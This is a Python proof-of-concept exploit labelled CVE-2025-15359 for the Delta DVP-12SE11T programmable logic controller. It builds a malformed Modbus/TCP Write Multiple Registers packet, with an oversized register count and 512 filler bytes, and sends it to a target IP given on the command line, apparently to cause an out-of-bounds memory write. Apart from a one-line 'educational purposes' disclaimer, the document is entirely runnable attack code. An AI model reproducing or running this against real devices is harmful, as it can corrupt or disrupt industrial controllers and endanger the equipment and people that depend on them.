CVE-2025-15359

#!/usr/bin/env python3 """ CVE-2025-15359 PoC - Delta DVP-12SE11T Out-of-bound Memory Write Note: This PoC is for educational and authorized security testing purposes only. """ import socket import struct import sys def create_exploit_payload(): """ Generate exploit payload for CVE-2025-15359 The vulnerability exists due to insufficient boundary checking """ # Modbus/TCP header structure transaction_id = struct.pack('>H', 0x0001) protocol_id = struct.pack('>H', 0x0000) # Craft payload that triggers OOB write # Target specific memory region through PLC communication protocol unit_id = bytes([0xFF]) # Unit identifier for PLC # Function code for Write Multiple Registers (0x10) function_code = bytes([0x10]) # Starting address (could point to critical memory regions) starting_address = struct.pack('>H', 0x0000) # Number of registers to write (exceeds buffer boundary) quantity = struct.pack('>H', 0x0100) # 256 registers - exceeds normal bounds # Byte count and register values byte_count = bytes([0x02]) # Minimum valid value register_values = bytes([0x41] * 512) # Malicious payload payload = (transaction_id + protocol_id + struct.pack('>H', len(unit_id + function_code + starting_address + quantity + byte_count + register_values)) + unit_id + function_code + starting_address + quantity + byte_count + register_values) return payload def send_exploit(target_ip, target_port=502): """ Send exploit payload to target PLC device """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) payload = create_exploit_payload() sock.send(payload) response = sock.recv(1024) print(f"[+] Payload sent to {target_ip}:{target_port}") print(f"[+] Response received: {response.hex()}") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-15359_poc.py <target_ip>") sys.exit(1) target_ip = sys.argv[1] send_exploit(target_ip)

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